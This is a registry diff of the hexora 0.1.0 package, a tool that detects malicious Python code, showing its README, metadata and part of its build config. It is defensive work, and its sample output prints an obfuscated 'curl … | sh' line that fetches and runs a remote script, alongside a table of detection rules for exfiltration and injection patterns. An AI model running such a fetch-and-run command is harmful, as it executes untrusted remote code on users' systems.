hexora 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- hexora-0.1.0/LICENSE +21 -0
- hexora-0.1.0/MANIFEST.in +3 -0
- hexora-0.1.0/PKG-INFO +163 -0
- hexora-0.1.0/README.md +152 -0
- hexora-0.1.0/hexora/__init__.py +4 -0
- hexora-0.1.0/hexora/py.typed +0 -0
- hexora-0.1.0/hexora.egg-info/PKG-INFO +163 -0
- hexora-0.1.0/hexora.egg-info/SOURCES.txt +38 -0
- hexora-0.1.0/hexora.egg-info/dependency_links.txt +1 -0
- hexora-0.1.0/hexora.egg-info/entry_points.txt +2 -0
- hexora-0.1.0/hexora.egg-info/not-zip-safe +1 -0
- hexora-0.1.0/hexora.egg-info/top_level.txt +1 -0
- hexora-0.1.0/pyproject.toml +44 -0
- hexora-0.1.0/setup.cfg +4 -0
- hexora-0.1.0/setup.py +18 -0
- hexora-0.1.0/src/audit/annotate.rs +48 -0
- hexora-0.1.0/src/audit/helpers.rs +70 -0
- hexora-0.1.0/src/audit/mod.rs +6 -0
- hexora-0.1.0/src/audit/parse.rs +340 -0
- hexora-0.1.0/src/audit/resolver.rs +125 -0
- hexora-0.1.0/src/audit/result.rs +347 -0
- hexora-0.1.0/src/cli.rs +231 -0
- hexora-0.1.0/src/io.rs +32 -0
- hexora-0.1.0/src/lib.rs +7 -0
- hexora-0.1.0/src/main.rs +10 -0
- hexora-0.1.0/src/py.rs +73 -0
- hexora-0.1.0/src/rules/clipboard.rs +39 -0
- hexora-0.1.0/src/rules/dll_injection.rs +85 -0
- hexora-0.1.0/src/rules/download.rs +67 -0
- hexora-0.1.0/src/rules/dunder.rs +105 -0
- hexora-0.1.0/src/rules/env.rs +108 -0
- hexora-0.1.0/src/rules/exec.rs +202 -0
- hexora-0.1.0/src/rules/expression.rs +36 -0
- hexora-0.1.0/src/rules/helpers.rs +1 -0
- hexora-0.1.0/src/rules/identifier.rs +113 -0
- hexora-0.1.0/src/rules/imports.rs +261 -0
- hexora-0.1.0/src/rules/literal.rs +369 -0
- hexora-0.1.0/src/rules/mod.rs +15 -0
- hexora-0.1.0/src/rules/statement.rs +41 -0
- hexora-0.1.0/src/rules/test.rs +31 -0
hexora-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 Artem Golubin
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
hexora-0.1.0/MANIFEST.in
ADDED
hexora-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,163 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: hexora
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Static analysis of malicous Python scripts.
|
|
5
|
+
Author-email: Artem Golubin <me@rushter.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Requires-Python: >=3.9
|
|
8
|
+
Description-Content-Type: text/markdown
|
|
9
|
+
License-File: LICENSE
|
|
10
|
+
Dynamic: license-file
|
|
11
|
+
|
|
12
|
+
# hexora
|
|
13
|
+
|
|
14
|
+
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
|
|
15
|
+
|
|
16
|
+
It can be used to:
|
|
17
|
+
|
|
18
|
+
* Audit of project dependencies to find possible supply chain attacks.
|
|
19
|
+
* Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
|
|
20
|
+
* Analysis of IoC files from past security incidents.
|
|
21
|
+
* Audit new packages uploaded to PyPi.
|
|
22
|
+
|
|
23
|
+
<img width="600" alt="Hexora example" src="docs/example.gif">
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
# Examples
|
|
27
|
+
|
|
28
|
+
For output examples, please see [docs/examples.md](docs/examples.md) file.
|
|
29
|
+
|
|
30
|
+
# Installation
|
|
31
|
+
|
|
32
|
+
## Using Python
|
|
33
|
+
|
|
34
|
+
Requires Python 3.9+.
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
pip install hexora
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
Using uv:
|
|
41
|
+
```bash
|
|
42
|
+
uv tool install hexora
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
# Usage
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
hexora --help
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
## Audit single file
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
> hexora audit test.py
|
|
56
|
+
|
|
57
|
+
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
|
|
58
|
+
┌─ resources/test/test.py:3:8
|
|
59
|
+
│
|
|
60
|
+
1 │ import pyperclip
|
|
61
|
+
2 │
|
|
62
|
+
3 │ data = pyperclip.paste()
|
|
63
|
+
│ ^^^^^^^^^^^^^^^^^ HX2000
|
|
64
|
+
│
|
|
65
|
+
= Confidence: High
|
|
66
|
+
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
|
|
67
|
+
|
|
68
|
+
warning[HX3000]: Possible execution of unwanted code
|
|
69
|
+
┌─ resources/test/test.py:20:1
|
|
70
|
+
│
|
|
71
|
+
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
|
|
72
|
+
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
|
|
73
|
+
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
|
|
74
|
+
│
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
## Audit directory
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
hexora audit --output-format terminal resources/test/
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
## Audit packages from virtual environment
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
|
|
89
|
+
```
|
|
90
|
+
Where `python3.11` is the version of the Python in virtual environment.
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
## Usage in Python
|
|
95
|
+
|
|
96
|
+
```python
|
|
97
|
+
>>> import hexora
|
|
98
|
+
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
|
|
99
|
+
>>> len(results)
|
|
100
|
+
15
|
|
101
|
+
>>> results[0]
|
|
102
|
+
{'items': [{'confidence': 'low',
|
|
103
|
+
'description': 'pyperclip can be used to copy and paste data from '
|
|
104
|
+
'the clipboard.',
|
|
105
|
+
'label': 'pyperclip',
|
|
106
|
+
'location': (7, 16),
|
|
107
|
+
'rule': 'HX5010'},
|
|
108
|
+
{'confidence': 'high',
|
|
109
|
+
'description': 'Reading from the clipboard can be used to '
|
|
110
|
+
'exfiltrate sensitive data.',
|
|
111
|
+
'label': 'pyperclip.paste',
|
|
112
|
+
'location': (25, 42),
|
|
113
|
+
'rule': 'HX2000'}],
|
|
114
|
+
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
|
|
115
|
+
>>> # Single file audit
|
|
116
|
+
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
|
|
117
|
+
>>> ...
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Available rules
|
|
121
|
+
|
|
122
|
+
New rules are added regularly.
|
|
123
|
+
|
|
124
|
+
Right now, the following rules are available:
|
|
125
|
+
| Code | Name | Description |
|
|
126
|
+
|---|---|---|
|
|
127
|
+
| HX1000 | AppEnumeration | Suspicious application enumeration. |
|
|
128
|
+
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
|
|
129
|
+
| HX1020 | PathEnumeration | Suspicious path enumeration. |
|
|
130
|
+
| HX2000 | ClipboardRead | Reading from the clipboard. |
|
|
131
|
+
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
|
|
132
|
+
| HX3000 | CodeExec | Possible code execution. |
|
|
133
|
+
| HX3010 | ShellExec | Execution of a shell command. |
|
|
134
|
+
| HX3020 | DunderShellExec | Execution of a shell command via `__import__`. |
|
|
135
|
+
| HX3030 | DunderCodeExec | Execution of code via `__import__`. |
|
|
136
|
+
| HX3040 | DLLInjection | Possible DLL injection. |
|
|
137
|
+
| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
|
|
138
|
+
| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
|
|
139
|
+
| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via `__import__`. |
|
|
140
|
+
| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via `__import__`. |
|
|
141
|
+
| HX5000 | DunderImport | Suspicious use of `__import__`. |
|
|
142
|
+
| HX5010 | SuspiciousImport | Suspicious import. |
|
|
143
|
+
| HX5020 | CtypesImport | Suspicious ctypes import. |
|
|
144
|
+
| HX5030 | PickleImport | Suspicious pickle import. |
|
|
145
|
+
| HX5040 | StructImport | Suspicious struct import. |
|
|
146
|
+
| HX5050 | SocketImport | Suspicious socket import. |
|
|
147
|
+
| HX5060 | MarshalImport | Suspicious marshal import. |
|
|
148
|
+
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
|
|
149
|
+
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
|
|
150
|
+
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
|
|
151
|
+
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
|
|
152
|
+
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
|
|
153
|
+
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
|
|
154
|
+
| HX6060 | PathTraversal | Suspicious path traversal. |
|
|
155
|
+
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
|
|
156
|
+
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
|
|
157
|
+
| HX7020 | SuspiciousVariable | Suspicious variable name. |
|
|
158
|
+
| HX8000 | BinaryDownload | Suspicious binary download. |
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
## Credits
|
|
162
|
+
|
|
163
|
+
For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.
|
hexora-0.1.0/README.md
ADDED
|
@@ -0,0 +1,152 @@
|
|
|
1
|
+
# hexora
|
|
2
|
+
|
|
3
|
+
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
|
|
4
|
+
|
|
5
|
+
It can be used to:
|
|
6
|
+
|
|
7
|
+
* Audit of project dependencies to find possible supply chain attacks.
|
|
8
|
+
* Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
|
|
9
|
+
* Analysis of IoC files from past security incidents.
|
|
10
|
+
* Audit new packages uploaded to PyPi.
|
|
11
|
+
|
|
12
|
+
<img width="600" alt="Hexora example" src="docs/example.gif">
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
# Examples
|
|
16
|
+
|
|
17
|
+
For output examples, please see [docs/examples.md](docs/examples.md) file.
|
|
18
|
+
|
|
19
|
+
# Installation
|
|
20
|
+
|
|
21
|
+
## Using Python
|
|
22
|
+
|
|
23
|
+
Requires Python 3.9+.
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
pip install hexora
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
Using uv:
|
|
30
|
+
```bash
|
|
31
|
+
uv tool install hexora
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
# Usage
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
hexora --help
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## Audit single file
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
> hexora audit test.py
|
|
45
|
+
|
|
46
|
+
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
|
|
47
|
+
┌─ resources/test/test.py:3:8
|
|
48
|
+
│
|
|
49
|
+
1 │ import pyperclip
|
|
50
|
+
2 │
|
|
51
|
+
3 │ data = pyperclip.paste()
|
|
52
|
+
│ ^^^^^^^^^^^^^^^^^ HX2000
|
|
53
|
+
│
|
|
54
|
+
= Confidence: High
|
|
55
|
+
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
|
|
56
|
+
|
|
57
|
+
warning[HX3000]: Possible execution of unwanted code
|
|
58
|
+
┌─ resources/test/test.py:20:1
|
|
59
|
+
│
|
|
60
|
+
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
|
|
61
|
+
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
|
|
62
|
+
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
|
|
63
|
+
│
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
## Audit directory
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
hexora audit --output-format terminal resources/test/
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
|
|
74
|
+
## Audit packages from virtual environment
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
|
|
78
|
+
```
|
|
79
|
+
Where `python3.11` is the version of the Python in virtual environment.
|
|
80
|
+
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
## Usage in Python
|
|
84
|
+
|
|
85
|
+
```python
|
|
86
|
+
>>> import hexora
|
|
87
|
+
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
|
|
88
|
+
>>> len(results)
|
|
89
|
+
15
|
|
90
|
+
>>> results[0]
|
|
91
|
+
{'items': [{'confidence': 'low',
|
|
92
|
+
'description': 'pyperclip can be used to copy and paste data from '
|
|
93
|
+
'the clipboard.',
|
|
94
|
+
'label': 'pyperclip',
|
|
95
|
+
'location': (7, 16),
|
|
96
|
+
'rule': 'HX5010'},
|
|
97
|
+
{'confidence': 'high',
|
|
98
|
+
'description': 'Reading from the clipboard can be used to '
|
|
99
|
+
'exfiltrate sensitive data.',
|
|
100
|
+
'label': 'pyperclip.paste',
|
|
101
|
+
'location': (25, 42),
|
|
102
|
+
'rule': 'HX2000'}],
|
|
103
|
+
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
|
|
104
|
+
>>> # Single file audit
|
|
105
|
+
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
|
|
106
|
+
>>> ...
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
## Available rules
|
|
110
|
+
|
|
111
|
+
New rules are added regularly.
|
|
112
|
+
|
|
113
|
+
Right now, the following rules are available:
|
|
114
|
+
| Code | Name | Description |
|
|
115
|
+
|---|---|---|
|
|
116
|
+
| HX1000 | AppEnumeration | Suspicious application enumeration. |
|
|
117
|
+
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
|
|
118
|
+
| HX1020 | PathEnumeration | Suspicious path enumeration. |
|
|
119
|
+
| HX2000 | ClipboardRead | Reading from the clipboard. |
|
|
120
|
+
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
|
|
121
|
+
| HX3000 | CodeExec | Possible code execution. |
|
|
122
|
+
| HX3010 | ShellExec | Execution of a shell command. |
|
|
123
|
+
| HX3020 | DunderShellExec | Execution of a shell command via `__import__`. |
|
|
124
|
+
| HX3030 | DunderCodeExec | Execution of code via `__import__`. |
|
|
125
|
+
| HX3040 | DLLInjection | Possible DLL injection. |
|
|
126
|
+
| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
|
|
127
|
+
| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
|
|
128
|
+
| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via `__import__`. |
|
|
129
|
+
| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via `__import__`. |
|
|
130
|
+
| HX5000 | DunderImport | Suspicious use of `__import__`. |
|
|
131
|
+
| HX5010 | SuspiciousImport | Suspicious import. |
|
|
132
|
+
| HX5020 | CtypesImport | Suspicious ctypes import. |
|
|
133
|
+
| HX5030 | PickleImport | Suspicious pickle import. |
|
|
134
|
+
| HX5040 | StructImport | Suspicious struct import. |
|
|
135
|
+
| HX5050 | SocketImport | Suspicious socket import. |
|
|
136
|
+
| HX5060 | MarshalImport | Suspicious marshal import. |
|
|
137
|
+
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
|
|
138
|
+
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
|
|
139
|
+
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
|
|
140
|
+
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
|
|
141
|
+
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
|
|
142
|
+
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
|
|
143
|
+
| HX6060 | PathTraversal | Suspicious path traversal. |
|
|
144
|
+
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
|
|
145
|
+
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
|
|
146
|
+
| HX7020 | SuspiciousVariable | Suspicious variable name. |
|
|
147
|
+
| HX8000 | BinaryDownload | Suspicious binary download. |
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
## Credits
|
|
151
|
+
|
|
152
|
+
For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.
|
|
File without changes
|
|
@@ -0,0 +1,163 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: hexora
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Static analysis of malicous Python scripts.
|
|
5
|
+
Author-email: Artem Golubin <me@rushter.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Requires-Python: >=3.9
|
|
8
|
+
Description-Content-Type: text/markdown
|
|
9
|
+
License-File: LICENSE
|
|
10
|
+
Dynamic: license-file
|
|
11
|
+
|
|
12
|
+
# hexora
|
|
13
|
+
|
|
14
|
+
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
|
|
15
|
+
|
|
16
|
+
It can be used to:
|
|
17
|
+
|
|
18
|
+
* Audit of project dependencies to find possible supply chain attacks.
|
|
19
|
+
* Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
|
|
20
|
+
* Analysis of IoC files from past security incidents.
|
|
21
|
+
* Audit new packages uploaded to PyPi.
|
|
22
|
+
|
|
23
|
+
<img width="600" alt="Hexora example" src="docs/example.gif">
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
# Examples
|
|
27
|
+
|
|
28
|
+
For output examples, please see [docs/examples.md](docs/examples.md) file.
|
|
29
|
+
|
|
30
|
+
# Installation
|
|
31
|
+
|
|
32
|
+
## Using Python
|
|
33
|
+
|
|
34
|
+
Requires Python 3.9+.
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
pip install hexora
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
Using uv:
|
|
41
|
+
```bash
|
|
42
|
+
uv tool install hexora
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
# Usage
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
hexora --help
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
## Audit single file
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
> hexora audit test.py
|
|
56
|
+
|
|
57
|
+
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
|
|
58
|
+
┌─ resources/test/test.py:3:8
|
|
59
|
+
│
|
|
60
|
+
1 │ import pyperclip
|
|
61
|
+
2 │
|
|
62
|
+
3 │ data = pyperclip.paste()
|
|
63
|
+
│ ^^^^^^^^^^^^^^^^^ HX2000
|
|
64
|
+
│
|
|
65
|
+
= Confidence: High
|
|
66
|
+
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
|
|
67
|
+
|
|
68
|
+
warning[HX3000]: Possible execution of unwanted code
|
|
69
|
+
┌─ resources/test/test.py:20:1
|
|
70
|
+
│
|
|
71
|
+
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
|
|
72
|
+
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
|
|
73
|
+
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
|
|
74
|
+
│
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
## Audit directory
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
hexora audit --output-format terminal resources/test/
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
## Audit packages from virtual environment
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
|
|
89
|
+
```
|
|
90
|
+
Where `python3.11` is the version of the Python in virtual environment.
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
## Usage in Python
|
|
95
|
+
|
|
96
|
+
```python
|
|
97
|
+
>>> import hexora
|
|
98
|
+
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
|
|
99
|
+
>>> len(results)
|
|
100
|
+
15
|
|
101
|
+
>>> results[0]
|
|
102
|
+
{'items': [{'confidence': 'low',
|
|
103
|
+
'description': 'pyperclip can be used to copy and paste data from '
|
|
104
|
+
'the clipboard.',
|
|
105
|
+
'label': 'pyperclip',
|
|
106
|
+
'location': (7, 16),
|
|
107
|
+
'rule': 'HX5010'},
|
|
108
|
+
{'confidence': 'high',
|
|
109
|
+
'description': 'Reading from the clipboard can be used to '
|
|
110
|
+
'exfiltrate sensitive data.',
|
|
111
|
+
'label': 'pyperclip.paste',
|
|
112
|
+
'location': (25, 42),
|
|
113
|
+
'rule': 'HX2000'}],
|
|
114
|
+
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
|
|
115
|
+
>>> # Single file audit
|
|
116
|
+
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
|
|
117
|
+
>>> ...
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Available rules
|
|
121
|
+
|
|
122
|
+
New rules are added regularly.
|
|
123
|
+
|
|
124
|
+
Right now, the following rules are available:
|
|
125
|
+
| Code | Name | Description |
|
|
126
|
+
|---|---|---|
|
|
127
|
+
| HX1000 | AppEnumeration | Suspicious application enumeration. |
|
|
128
|
+
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
|
|
129
|
+
| HX1020 | PathEnumeration | Suspicious path enumeration. |
|
|
130
|
+
| HX2000 | ClipboardRead | Reading from the clipboard. |
|
|
131
|
+
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
|
|
132
|
+
| HX3000 | CodeExec | Possible code execution. |
|
|
133
|
+
| HX3010 | ShellExec | Execution of a shell command. |
|
|
134
|
+
| HX3020 | DunderShellExec | Execution of a shell command via `__import__`. |
|
|
135
|
+
| HX3030 | DunderCodeExec | Execution of code via `__import__`. |
|
|
136
|
+
| HX3040 | DLLInjection | Possible DLL injection. |
|
|
137
|
+
| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
|
|
138
|
+
| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
|
|
139
|
+
| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via `__import__`. |
|
|
140
|
+
| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via `__import__`. |
|
|
141
|
+
| HX5000 | DunderImport | Suspicious use of `__import__`. |
|
|
142
|
+
| HX5010 | SuspiciousImport | Suspicious import. |
|
|
143
|
+
| HX5020 | CtypesImport | Suspicious ctypes import. |
|
|
144
|
+
| HX5030 | PickleImport | Suspicious pickle import. |
|
|
145
|
+
| HX5040 | StructImport | Suspicious struct import. |
|
|
146
|
+
| HX5050 | SocketImport | Suspicious socket import. |
|
|
147
|
+
| HX5060 | MarshalImport | Suspicious marshal import. |
|
|
148
|
+
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
|
|
149
|
+
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
|
|
150
|
+
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
|
|
151
|
+
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
|
|
152
|
+
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
|
|
153
|
+
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
|
|
154
|
+
| HX6060 | PathTraversal | Suspicious path traversal. |
|
|
155
|
+
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
|
|
156
|
+
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
|
|
157
|
+
| HX7020 | SuspiciousVariable | Suspicious variable name. |
|
|
158
|
+
| HX8000 | BinaryDownload | Suspicious binary download. |
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
## Credits
|
|
162
|
+
|
|
163
|
+
For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
MANIFEST.in
|
|
3
|
+
README.md
|
|
4
|
+
pyproject.toml
|
|
5
|
+
setup.py
|
|
6
|
+
hexora/__init__.py
|
|
7
|
+
hexora/py.typed
|
|
8
|
+
hexora.egg-info/PKG-INFO
|
|
9
|
+
hexora.egg-info/SOURCES.txt
|
|
10
|
+
hexora.egg-info/dependency_links.txt
|
|
11
|
+
hexora.egg-info/entry_points.txt
|
|
12
|
+
hexora.egg-info/not-zip-safe
|
|
13
|
+
hexora.egg-info/top_level.txt
|
|
14
|
+
src/cli.rs
|
|
15
|
+
src/io.rs
|
|
16
|
+
src/lib.rs
|
|
17
|
+
src/main.rs
|
|
18
|
+
src/py.rs
|
|
19
|
+
src/audit/annotate.rs
|
|
20
|
+
src/audit/helpers.rs
|
|
21
|
+
src/audit/mod.rs
|
|
22
|
+
src/audit/parse.rs
|
|
23
|
+
src/audit/resolver.rs
|
|
24
|
+
src/audit/result.rs
|
|
25
|
+
src/rules/clipboard.rs
|
|
26
|
+
src/rules/dll_injection.rs
|
|
27
|
+
src/rules/download.rs
|
|
28
|
+
src/rules/dunder.rs
|
|
29
|
+
src/rules/env.rs
|
|
30
|
+
src/rules/exec.rs
|
|
31
|
+
src/rules/expression.rs
|
|
32
|
+
src/rules/helpers.rs
|
|
33
|
+
src/rules/identifier.rs
|
|
34
|
+
src/rules/imports.rs
|
|
35
|
+
src/rules/literal.rs
|
|
36
|
+
src/rules/mod.rs
|
|
37
|
+
src/rules/statement.rs
|
|
38
|
+
src/rules/test.rs
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
hexora
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
[project]
|
|
2
|
+
name = 'hexora'
|
|
3
|
+
version = '0.1.0'
|
|
4
|
+
description = 'Static analysis of malicous Python scripts.'
|
|
5
|
+
readme = 'README.md'
|
|
6
|
+
requires-python = '>=3.9'
|
|
7
|
+
license = 'MIT'
|
|
8
|
+
authors = [
|
|
9
|
+
{ name = 'Artem Golubin', email = 'me@rushter.com' }
|
|
10
|
+
]
|
|
11
|
+
|
|
12
|
+
[project.scripts]
|
|
13
|
+
hexora = 'hexora._hexora:run_cli'
|
|
14
|
+
|
|
15
|
+
[build-system]
|
|
16
|
+
build-backend = "setuptools.build_meta"
|
|
17
|
+
